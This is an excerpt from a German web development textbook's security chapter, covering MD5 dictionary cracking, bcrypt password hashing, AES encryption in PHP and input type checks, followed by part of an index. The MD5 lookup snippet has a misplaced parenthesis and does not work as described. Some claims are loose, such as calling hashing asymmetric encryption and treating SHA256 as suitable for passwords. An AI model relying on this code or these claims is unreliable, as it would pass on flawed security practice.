$vn = ["Uwe","Silvia","Jakob","Harald","Thomas","Sabine","Leon"];
for($i=0; $i<count($vn); $i++) {
  if(md5($vn[$i]==$pwd)) {
    echo("gefunden: " . $pwd . " heißt im Klartext " . $vn[$i]);
    break;
  }
}


            Das Ergebnis wäre: »gefunden: 68c8f7c3f433b3682d1363312fbacec6 heißt im Klartext Silvia«

            Nun bräuchten wir nur noch ein Array mit allen möglichen (sinnvollen) Kombinationen, und schon wären wir am Ziel. Das Internet macht es uns jedoch noch einmal leichter: Es liefert gleich fertige Tabellen, in denen die Texte und die Verschlüsselungen dazu dargestellt werden: Solche Tabellen nennt man Rainbow Tables und sie sind etwa unter https://freerainbowtables.com/ zu finden.

            Man kann also sagen, dass der Verschlüsselungsalgorithmus MD5 zwar insgesamt recht gut ist, aber zwei Mängel aufweist:

            
                	
                    Er ist (mittlerweile) zu schnell hackbar.

                

                	
                    Er verschlüsselt immer gleich.

                

            

            Aus diesem Grund wird dieser Verschlüsselungsalgorithmus für Passwörter nicht mehr verwendet. Insbesondere seit der Einführung der DSGVO ist die Verschlüsselung von sensiblen Daten mittels MD5 nicht mehr erlaubt. Das bedeutet nicht, dass MD5 generell nicht mehr sinnvoll ist: Lediglich für die Speicherung sensibler Daten soll/darf MD5 nicht mehr verwendet werden.

        
        
            13.5.2    Neu, besser, sicher: die Blowfish-Algorithmen (bcrypt)

            Wesentlich besser als der MD5-Algorithmus ist bcrypt, der auf dem sogenannten Blowfish-Algorithmus basiert und speziell für die Verschlüsselung von Passwörtern konzipiert wurde. Im Gegensatz zu MD5 verändert bcrypt zu jedem Zeitpunkt den Ergebniswert (den Hash) und lässt sich somit einerseits sehr schwer entschlüsseln (»nicht in angemessener Zeit«) und andererseits auch nicht mehr mit bekannten Werten vergleichen (wie etwa durch den Einsatz der zuvor erwähnten Rainbow Tables).

            Weil der Algorithmus jedoch wie erwähnt zu jedem Zeitpunkt seinen Hash ändert, benötigen wir eine zusätzliche Funktionalität, um dennoch zwei zu zwei verschiedenen Zeitpunkten erzeugte Hashes miteinander vergleichen zu können. Die dazu erforderliche Vorgehensweise ist im unten stehenden Code dargestellt.

            Um ein Passwort zu verschlüsseln (und dann in der Datenbank zu speichern), ist die Funktion password_hash vonnöten. Diese benötigt zwei Parameter:

            
                	
                    das zu verschlüsselnde Passwort

                

                	
                    den zu verwendenden Verschlüsselungsalgorithmus (Typischerweise greift man zu PASSWORD_DEFAULT, der den aktuell stärksten Algorithmus verwendet und abwärtskompatibel ist – siehe https://www.php.net/manual/de/function.password-hash.php.)

                

            

            Für den Fall, dass das zu verschlüsselnde Passwort in den POST-Daten im Eintrag P1 steht, würde dies dann wie folgt aussehen:

            $crypt = password_hash($_POST["P1"], PASSWORD_DEFAULT);


            Für ein Passwort »test1234« würde beispielsweise zu einem gegebenen Zeitpunkt der Hash-Wert

            $2y$10$EDgi.gYLaQPmC9Tw4mwHa.mg6H8KZafZzPrjoTMAnGdYqy7vrYgQK

            generiert werden. (Zu einem anderen Zeitpunkt wird ein anderer Hashwert generiert.) Diesen Hashwert würden wir nun in der Datenbank speichern (unter der Annahme, dass die E-Mail-Adresse in $_POST["E"] steht):

            $sql = "


              INSERT INTO tbl_user (E-Mail-Adresse, Passwort)
  VALUES (
    '" . escape($GLOBALS["conn"],$_POST["E"]) . "',
    '" . $crypt . "'
  ) 


            ";
...


            Listing 13.15    
            Das »INSERT«-Statement nutzt den Hashwert des Passworts zu dessen Speicherung.

            Im Falle eines folgenden Loginversuchs müssen wir nun diesen Wert mit dem eingegebenen Passwort vergleichen. Hierzu dient die Funktion password_verify, die wiederum zwei Parameter benötigt:

            
                	
                    das eingegebene Passwort des Users

                

                	
                    den gespeicherten Hash-Wert

                

            

            Die Funktion liefert bei Übereinstimmung ein true, ansonsten ein false als Rückgabewert. Wenn wir annehmen, dass das eingegebene Passwort in den POST-Daten im Feld P steht und dass das verschlüsselte Passwort in der Variablen $crypt zwischengespeichert wurde, dann würde eine Überprüfung wie folgt aussehen:

            if(password_verify($_POST["P"],$crypt)) {
  //Passwörter stimmen überein
  ...
}


            Listing 13.16    
            Mittels »password_verify« wird das gehashte Passwort mit der Usereingabe verglichen.

            Somit haben wir eine Methode gefunden, um Passwörter sicher in der Datenbank abzulegen. Den vollständigen Code für Login und Registrierung finden Sie wie üblich im Downloadbereich des Buchs.

        
    


                    
                        
        13.6    Ver- und Entschlüsselung von Daten – symmetrische Verschlüsselungsverfahren

        In manchen Fällen müssen Daten verschlüsselt werden, die zu einem späteren Zeitpunkt wieder entschlüsselt werden sollen. Dies betrifft etwa Zugangsdaten zu einem Datenbankserver, die man nur ungern im Klartext abspeichern möchte. Natürlich muss »an irgendeiner Stelle irgendwann einmal« ein Passwort (oder ein entsprechender Schlüssel – siehe folgende Zeilen) im Klartext gespeichert werden, jedoch möchte man es einem potenziellen Angreifer in der Regel so schwer wie möglich machen. Solche Verschlüsselungsverfahren bezeichnet man als symmetrische Verschlüsselungsverfahren.

        Das typische Vorgehen ist:

        
            	
                Es wird ein Schlüssel (Key) in Form einer frei wählbaren Zeichenkette gewählt oder generiert (etwa mittels openssl_random_pseudo_bytes).

            

            	
                Es wird eine Verschlüsselungsmethode gewählt (etwa aes-128-gcm).

            

            	
                Es wird ein Initialisierungsvektor mit passender Länge erzeugt (openssl_cipher_iv_length und openssl_random_pseudo_bytes). Dieser Vektor muss gemeinsam mit der Verschlüsselungsmethode und dem Key für eine später folgende Entschlüsselung gespeichert werden.

            

        

        Mögliche Verschlüsselungsalgorithmen im Rahmen von PHP sind:

        
            	
                AES (Advanced Encryption Standard): AES ist der Nachfolger von DES (vgl. https://de.wikipedia.org/wiki/Advanced_Encryption_Standard). Er setzt den Rijndael-Algorithmus ein, der variable, voneinander unabhängige Block- und Schlüssellängen von 128, 160, 192, 224 oder 256 Bit besitzt. Rijndael bietet ein sehr hohes Maß an Sicherheit: Erst mehr als zehn Jahre nach seiner Standardisierung wurde der erste theoretisch interessante, praktisch aber nicht relevante Angriff gefunden.

            

            	
                CAST5 (oder auch CAST-128): CAST ist eine symmetrische Blockchiffre mit 64 Bit Blocklänge und einer Schlüssellänge von 40 bis 128 Bit (vgl. https://de.wikipedia. org/wiki/CAST_(Algorithmus)).

            

        

        
            [»]  Das alte mcrypt

            In älteren Versionen von PHP wurde mycrypt als Verschlüsselungsmethode eingesetzt – diese wurde aufgrund der nicht mehr ausreichenden Sicherheit mit PHP Version 7.2 entfernt.

        

        Eine Umsetzung in PHP wäre dann wie folgt, wobei zur späteren Verwendung folgende Variablenwerte gespeichert werden müssen:

        
            	
                $key: der verwendete Schlüssel

            

            	
                $cipher: die Verschlüsselungsmethode

            

            	
                $iv: der Initialisierungsvektor

            

            	
                gegebenenfalls das Tag $tag: das Authentifizierungskennzeichen, das per Referenz übergeben wird, wenn der AEAD-Verschlüsselungsmodus (GCM oder CCM) verwendet wird. (»Per Referenz« bedeutet, dass der Inhalt dieser Variablen beim Funktionsaufruf befüllt wird.) Im Falle anderer Verschlüsselungsmodi ist diese Information nicht notwendig.

            

        

        
            13.6.1    Der Standard: AES-128-CBC

            Im Falle einer Verschlüsselung mit AES-128-CBC werden zum Entschlüsseln drei Informationen benötigt:

            
                	
                    der Schlüssel

                

                	
                    die Verschlüsselungsmethode (hier: aes-128-cbc)

                

                	
                    der Initialisierungsvektor

                

            

            Der Schlüssel wird entweder in Form eines Strings selbst gewählt oder erzeugt (siehe unten):

            $key = openssl_random_pseudo_bytes(16);


            Danach wird die Verschlüsselungsmethode ($cipher) festgelegt und der Initialisierungsvektor ($iv) mit gewünschter Länge erzeugt. (Die Länge wird in der Regel über die Verschlüsselungsmethode mit openssl_cipher_iv_length gewählt.)

            $cipher = "aes-128-cbc";
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen);


            Listing 13.17    
            Verschlüsselung mittels AES-128-CBC

            Schließlich wird der gewünschte Text mithilfe dieser Informationen verschlüsselt:

            $ciphertext = openssl_encrypt("Ich soll verschlüsselt werden",   $ cipher,$key,0,$iv);


            Dieser verschlüsselte Text ($ciphertext) wird dann gespeichert. Wichtig ist, dass das Verschlüsselungsverfahren sowie der Initialisierungsvektor (an einer anderen Stelle!) ebenfalls gespeichert werden müssen, um den Text wieder entschlüsseln zu können.

            Die Entschlüsselung erfolgt so:

            $original_plaintext = openssl_decrypt($ciphertext,$cipher,$key,0,$iv);


        
        
            13.6.2    Der bessere Standard: AES-128-GCM

            Im Falle einer Verschlüsselung mit AES-128-GCM werden zum Entschlüsseln vier Informationen benötigt:

            
                	
                    die Verschlüsselungsmethode (hier: aes-128-gcm)

                

                	
                    der Schlüssel

                

                	
                    der Initialisierungsvektor

                

                	
                    das Tag (Es wird wiederum per Referenz gesetzt.)

                

            

            $key = openssl_random_pseudo_bytes(16); //binärer Wert
$plaintext = "Ich muss verschlüsselt werden..."; //der zu verschlüsselnde Text
$cipher = "aes-128-gcm"; //die verwendete Verschlüsselungsmethode
$ivlen = openssl_cipher_iv_length($cipher);
$iv = openssl_random_pseudo_bytes($ivlen); //binärer Wert
$ciphertext = openssl_encrypt($plaintext,$cipher,$key,0,$iv,$tag);


            Listing 13.18    
            Verschlüsselung mittels AES-128-GCM

            Die Entschlüsselung erfolgt wiederum wie in Abschnitt 13.6.1, jedoch unter Zuhilfenahme der Variablen $tag:

            $original_plaintext = openssl_decrypt($ciphertext,$cipher,$key,0,$iv,$tag);


        
    


                    
                        
        13.7    Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen

        Bei jeder Übertragung von Formularfeldern legt der Entwickler in der Regel fest, von welchem Typ die zu übergebenden Werte sein sollen. Ein Angreifer kann diese jedoch manipulieren und falsche (nicht zum Typ passende) Werte übergeben. Nicht selten ist man als Entwickler der Ansicht, das Feld korrekt definiert zu haben, und doch bekommt man anstatt eines Zahlenwertes etwa einen String-Wert übergeben.

        Um diese Angriffsmöglichkeit auszuschließen, sollten Sie jeden übergebenen Formularfeldwert in den Wert umwandeln, den Sie erwarten. Hierzu stehen folgende Möglichkeiten zur Verfügung:

        
            	
                intval(Variable/Wert): Wandelt einen Wert in eine Ganzzahl um.

            

            	
                floatval(Variable/Wert): Wandelt einen Wert in eine Kommazahl um.

            

            	
                strval(Variable/Wert): Wandelt einen Wert in einen String um.

            

            	
                boolval(Variable/Wert): Wandelt einen Wert in einen booleschen Wert um.

            

        

        Zusätzlich zu diesen Konvertierungsfunktionen existieren auch Funktionen, die den Typ von Variablen/Werten ermitteln bzw. auf bestimmte Typen testen:

        
            	
                is_bool(Variable/Wert): Prüft, ob eine Variable vom Typ boolean ist.

            

            	
                is_float(Variable/Wert): Prüft, ob eine Variable vom Typ float ist.

            

            	
                is_int(Variable/Wert): Prüft, ob eine Variable vom Typ int ist.

            

            	
                is_string(Variable/Wert): Prüft, ob Variable vom Typ string ist.

            

            	
                is_object(Variable/Wert): Prüft, ob eine Variable vom Typ object ist.

            

            	
                is_array(Variable/Wert): Prüft, ob die Variable ein Array ist.

            

            	
                gettype(Variable/Wert): Ermittelt den Typ einer Variablen und gibt diesen als Text zurück (»string«, »integer«, »double« (anstelle von »float«), »boolean«, »array«, »object«, »resource«, »NULL«, »unknown type«).

            

        

        
            [»]  Typen bestimmen

            Mit settype(Variable,Typ) kann der Typ einer Variablen festgelegt werden.

        

        Schlussendlich sollten Sie auch bei der Definition von Funktionen nicht vergessen, die Übergabeparameter und den Rückgabewert entsprechend zu deklarieren.

    


                    
                        
        13.8    Weitere Tipps zur Sicherheit einer Site

        
            	
                Betreiben Sie Sites nur via HTTPS (verschlüsseltes Protokoll, d. h., sämtliche Daten vom und zum Client werden verschlüsselt): Dies ist eine Sache des Providers und kann vom Webentwickler nur insofern beeinflusst werden, als dass der Webentwickler beim Provider das Zertifikat aktiviert. Achtung: Bei manchen Providern ist SSL kostenpflichtig, bei anderen (beispielsweise via Let’s Encrypt) ist es kostenfrei.

            

            	
                Verschlüsseln Sie Passwörter, wenn diese in eine Tabelle gespeichert werden: Typischerweise verwendet man in PHP die Funktionen password_hash zum Verschlüsseln und password_verify zum Vergleichen eines Passworts mit einem bereits verschlüsselten Passwort. Beachten Sie, dass verschlüsselte Passwörter nicht mehr entschlüsselt werden können, sondern dass lediglich das gespeicherte (verschlüsselte) Passwort mit dem eingegebenen Passwort (durch erneute Verschlüsselung) verglichen werden kann. Weitere Verschlüsselungsalgorithmen wie SHA256 oder ähnliche sind ebenfalls möglich.[ 5 ] (Siehe hierzu auch den vorangegangenen Abschnitt 13.5.)

            

            	
                Verwenden Sie zugriffsgeschützte Verzeichnisse für die Speicherung von Dateien, die Passwörter oder Ähnliches enthalten: Das zu schützende Verzeichnis sollte die Rechte 0750 erhalten oder sich parallel zum Root-Verzeichnis der Website befinden. (Auf solche Verzeichnisse, die außerhalb des Root-Verzeichnisses der Website liegen, hat der User keinen Zugriff, PHP jedoch schon.)

            

        

    


                    
      Stichwortverzeichnis

      
↓A  ↓B  ↓C  ↓D  ↓E  ↓F  ↓G  ↓H  ↓I  ↓J  ↓K  ↓L  ↓M  ↓N  ↓O  ↓P  ↓Q  ↓R  ↓S  ↓T  ↓U  ↓V  ↓W  ↓X  ↓Z  

$_FILES [→ 11.13 Formulare aufgebohrt: Datei-Upload]

72-dpi-Lüge [→ 5.4 Die Elemente einer HTML-Seite]

A ⇑

a (HTML-Tag) [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

a11y [→ 10.3 Barrierefreiheit]

AAC [→ 5.10 Multimedia mit Audio, Video & Co.]

Abstraktion [→ 2.8 Ein wenig Wahrnehmungspsychologie]

Accessibility [→ 10.3 Barrierefreiheit]

Accessible Rich Internet Applications [→ 10.3 Barrierefreiheit]

action [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

ActionScript [→ 7.2 Scriptsprachen und HTML – her mit der Interaktion]

Adaptives Design [→ 8.1 Die Grundlagen des Responsive Design]

addEventListener [→ 7.6 Ereignisse bestimmen den Ablauf]

address [→ 5.8 Elemente mit (besonderer) Bedeutung]

AJAX [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API] [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

alert [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

align-items [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

Ally [→ 10.3 Barrierefreiheit]

Ampersand [→ 13.1 Angriffsszenario 1: Cross-Site Scripting (XSS)]

animation-delay [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-direction [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-duration [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Animationen [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Definition [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Frame-skipping Technique [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Update Frequency Reduction [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-fill-mode [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-iteration-count [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-name [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-play-state [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

animation-timing-function [→ 6.18 Alles ist in Bewegung – Übergänge und Animationen]

Antiqua [→ 6.10 Das geschriebene Wort – Schriften]

Anweisung (JavaScript) [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Apache [→ 3.8 Wie ein Webserver funktioniert]

appendChild [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

arguments [→ 7.4 Die essenziellen Grundlagen der Programmierung]

ARIA → siehe [Accessible Rich Internet Applications]

Array [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung]

assoziatives [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP] [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

gemischt assoziatives [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

indiziertes [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 11.6 Die Unterschiede in der Schreibweise von JavaScript und PHP]

length [→ 7.4 Die essenziellen Grundlagen der Programmierung]

mehrdimensionales [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Arrow Functions [→ 7.4 Die essenziellen Grundlagen der Programmierung]

article [→ 5.8 Elemente mit (besonderer) Bedeutung]

aside [→ 5.8 Elemente mit (besonderer) Bedeutung]

ASP [→ 3.8 Wie ein Webserver funktioniert]

ASP.Net [→ 3.8 Wie ein Webserver funktioniert]

aspect-ratio [→ 8.5 Die Grundbausteine einer responsiven Site]

async [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Attribute [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

Attributknoten [→ 5.3 Der Dokumentbaum]

audio [→ 5.10 Multimedia mit Audio, Video & Co.] [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

Augmented Reality [→ 8.9 Ausblick]

Ausführrechte [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Auslesen 

Dateien auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Verzeichnisse auf Serverseite [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Auszeichnungssprache [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

autocomplete [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

auto-fill [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

auto-fit [→ 6.17 Fortgeschrittenes Layout – Jetzt wird’s fein]

autofocus [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Auto-Increment [→ 12.3 Tabellen und Co. – der Aufbau einer Datenbank]

AVG [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

AWS (Amazon Web Services) [→ 3.8 Wie ein Webserver funktioniert]

Azure [→ 3.8 Wie ein Webserver funktioniert]

B ⇑

b (HTML-Tag) [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

background-attachment [→ 6.12 Der Hintergrund als Gestaltungselement]

background-clip [→ 6.10 Das geschriebene Wort – Schriften]

background-color [→ 6.9 Glanz und Gloria – Farben] [→ 6.12 Der Hintergrund als Gestaltungselement]

background-gradient [→ 6.12 Der Hintergrund als Gestaltungselement]

background-image [→ 6.12 Der Hintergrund als Gestaltungselement] [→ 6.12 Der Hintergrund als Gestaltungselement]

background-origin [→ 6.12 Der Hintergrund als Gestaltungselement]

background-position [→ 6.12 Der Hintergrund als Gestaltungselement] [→ 8.5 Die Grundbausteine einer responsiven Site]

background-repeat [→ 6.12 Der Hintergrund als Gestaltungselement]

background-size [→ 6.12 Der Hintergrund als Gestaltungselement]

Barrierefreiheit [→ 10.3 Barrierefreiheit]

bedienbar [→ 10.3 Barrierefreiheit]

robust [→ 10.3 Barrierefreiheit]

verständlich [→ 10.3 Barrierefreiheit]

wahrnehmbar [→ 10.3 Barrierefreiheit]

Barrierefreiheitsstärkungsgesetz [→ 10.3 Barrierefreiheit]

base64 [→ 5.4 Die Elemente einer HTML-Seite]

Baum [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

BCC (Blind Carbon-Copy) [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

bcrypt [→ 13.5 Sichere Verschlüsselung von Passwörtern – asymmetrische Verschlüsselungsverfahren]

Bedingungen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

Befehl (JavaScript) [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Behavioral Design [→ 10.2 User Experience]

Benchmarks [→ 2.5 Konkurrenzanalyse: Wie sieht die Konkurrenz aus?]

Berechtigungen [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Beziehungen [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Beziehungen1 

1-Beziehung [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

n-Beziehung [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

BFC (Block Formatting Context) [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

Bilder einbinden [→ 5.4 Die Elemente einer HTML-Seite]

Bildformate [→ 5.4 Die Elemente einer HTML-Seite]

APNG [→ 5.4 Die Elemente einer HTML-Seite]

AVIF [→ 5.4 Die Elemente einer HTML-Seite]

GIF [→ 5.4 Die Elemente einer HTML-Seite]

JPEG [→ 5.4 Die Elemente einer HTML-Seite]

Komprimierung [→ 5.4 Die Elemente einer HTML-Seite]

LZW-Komprimierung [→ 5.4 Die Elemente einer HTML-Seite]

PNG [→ 5.4 Die Elemente einer HTML-Seite]

SVG [→ 5.4 Die Elemente einer HTML-Seite]

WebP [→ 5.4 Die Elemente einer HTML-Seite]

Blacklist [→ 13.1 Angriffsszenario 1: Cross-Site Scripting (XSS)]

block [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

Block Scope [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.4 Die essenziellen Grundlagen der Programmierung] [→ 7.13 Robuste Programmierung – der Umgang mit Fehlern]

Block-Element [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

Blue Ocean Marketing [→ 2.1 Die Planung einer Website] [→ 2.5 Konkurrenzanalyse: Wie sieht die Konkurrenz aus?]

Boolean [→ 7.4 Die essenziellen Grundlagen der Programmierung]

boolval [→ 13.7 Damit haben wir nicht gerechnet – Variablentypen und Konvertierungsfunktionen]

Bootstrap [→ 8.5 Die Grundbausteine einer responsiven Site]

border [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

border-box [→ 6.12 Der Hintergrund als Gestaltungselement]

border-collapse [→ 6.14 Tabellenartiges Design mit CSS]

border-color [→ 6.9 Glanz und Gloria – Farben]

border-spacing [→ 6.14 Tabellenartiges Design mit CSS]

Bottom-up-Prinzip [→ 7.17 Das Finale? Prototypen, Klassen, Architektur und Co.]

Box-Modell [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

box-sizing [→ 8.5 Die Grundbausteine einer responsiven Site]

br (HTML-Tag) [→ 5.5 Easy: Block vs. Inline – die grundlegendste Unterscheidung von Elementen]

break [→ 7.4 Die essenziellen Grundlagen der Programmierung]

C ⇑

Cake PHP [→ 11.17 Ausblick]

calc [→ 6.19 Ein erster Schritt in Richtung Programmierung mit CSS-Variablen] [→ 8.5 Die Grundbausteine einer responsiven Site]

Callback Hell [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

Callback-Funktion [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

canvas [→ 5.10 Multimedia mit Audio, Video & Co.] [→ 7.14 Wo das W3-Konsortium nicht mehr weiter wusste: HTML-Elemente mit JS-API]

case [→ 7.4 Die essenziellen Grundlagen der Programmierung]

CC (Carbon Copy) [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

ceil [→ 12.6 Noch eine Sprache – SQL]

CGI [→ 3.8 Wie ein Webserver funktioniert]

Chaining [→ 7.10 Synchron oder besser asynchron? AJAX, Promises und die fetch-API]

change [→ 7.6 Ereignisse bestimmen den Ablauf]

childNodes [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)] [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

CIDR-Notation [→ 3.3 IP-Adressen – unsere Anschrift im Internet]

CIE [→ 2.9 Wie Farbe wirkt]

clamp [→ 8.5 Die Grundbausteine einer responsiven Site] [→ 8.5 Die Grundbausteine einer responsiven Site]

classList [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

className [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

clear [→ 6.11 Textumfluss (float) – umflossene Elemente wie in Druckmedien]

clearInterval [→ 7.7 Wir haben ja Zeit: Zeitlich gesteuerte Befehle]

Client [→ 3.1 Dienste im Internet, Server und Client] [→ 3.1 Dienste im Internet, Server und Client]

clientX [→ 7.6 Ereignisse bestimmen den Ablauf]

clientY [→ 7.6 Ereignisse bestimmen den Ablauf]

CMS (Content-Management-System) [→ 12.10 Auch die Datenbank kann’s – rekursive Datenspeicherung]

Code, nicht blockierender [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Code-Highlighting [→ 4.2 Editoren] [→ 5.1 Ein bisschen in der Geschichte von HTML stöbern]

Collapsing Margins [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

color [→ 6.9 Glanz und Gloria – Farben] [→ 6.10 Das geschriebene Wort – Schriften]

colspan [→ 5.4 Die Elemente einer HTML-Seite]

Compiler [→ 4.3 Der Browser als Interpreter und Testumgebung]

Composer [→ 11.16 Die Kommunikation mit der Außenwelt – der Versand von E-Mails]

Conditions [→ 7.4 Die essenziellen Grundlagen der Programmierung]

confirm [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

console [→ 7.3 Bevor es los geht, ein wenig Vorbereitung] [→ 7.8 Mehr als nur document: Das window-Objekt]

Constraints [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

CASCADE [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

NO ACTION [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

RESTRICT [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

SET NULL [→ 12.9 Praxis vs. Theorie – Normalformen, Beziehungen, Joins]

Content [→ 2.6 Content is King – die Content Strategy]

Content Box → siehe [Box-Modell]

Content First [→ 8.2 Wie geht man’s an? Der Workflow]

Content Security Policy [→ 5.11 Meta-Informationen sind der Mehrwert von Websites]

Content Strategy [→ 2.6 Content is King – die Content Strategy]

Controller [→ 11.17 Ausblick]

Cookie [→ 11.12 »Kennst Du mich noch?« – Sessions (Sitzungen)]

Corporate Design [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

Corporate Identity [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt] [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

Corporate Behaviour [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

Corporate Communication [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

Corporate Culture [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

Corporate Design [→ 2.10 Die Unternehmensphilosophie wird in der Corporate Identity ausgedrückt]

COUNT [→ 12.6 Noch eine Sprache – SQL] [→ 12.11 Ende der Fahnenstange? Weitere SQL-Befehle]

counter-increment [→ 6.16 CSS Counters – Individuelle Nummerierung mit CSS gefällig?]

counter-reset [→ 6.16 CSS Counters – Individuelle Nummerierung mit CSS gefällig?]

createElement [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

createTextNode [→ 7.5 Das Zusammenspiel zwischen HTML und JavaScript – das Dokumentobjektmodell (DOM)]

Cross-Site Scripting [→ 5.11 Meta-Informationen sind der Mehrwert von Websites] [→ 13.1 Angriffsszenario 1: Cross-Site Scripting (XSS)]

CSP → siehe [Content Security Policy]

CSS [→ 6.1 Die drei Säulen von CSS]

D ⇑

Dark Mode [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen] [→ 6.20 Media Queries und @-Regeln aus Rücksichtnahme auf die User-Anforderungen]

dashed [→ 6.8 Sind ja alles nur Boxen – das Box-Modell]

datalist [→ 5.9 Formulare als Schnittstelle zwischen Client und Server]

Date [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

date [→ 12.6 Noch eine Sprache – SQL]

getDate [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

getDay [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

getFullYear [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

getMonth [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

getTime [→ 7.9 Das mühselige Arbeiten mit Datum und Uhrzeit]

Datei/Verlinkung löschen 

unlink [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Dateien/Verzeichnisse 

Rechte [→ 11.14 Die Dateistruktur auf der Serverseite – unsere Ablage]

Datenbank [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

objektorientierte [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

relationale [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Datenbank-Dump [→ 12.4 Sicher ist sicher – Sichern einer Datenbank]

Datenbankmanagementsystem [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Datenbanksystem [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Datensatz [→ 12.1 Alles Datenbank, oder was? Ein paar Begriffe]

Datenspeicherung (lokale) [→ 7.15 Lokale Datenspeicherung – wohin mit den Daten?]

debug_backtrace [→ 11.9 Debugging für PHP-Entwickler?]

debug_print_backtrace [→ 11.9 Debugging für PHP-Entwickler?]

Debugging [→ 11.9 Debugging für PHP-Entwickler?]

defer [→ 7.3 Bevor es los geht, ein wenig Vorbereitung]

Deklaration [→ 7.4 Die essenziellen Grundlagen der Programmierung]

dekonstruierende Zuweisungen [→ 7.4 Die essenziellen Grundlagen der Programmierung]

DELETE [→ 12.6 Noch eine Sprache – SQL]
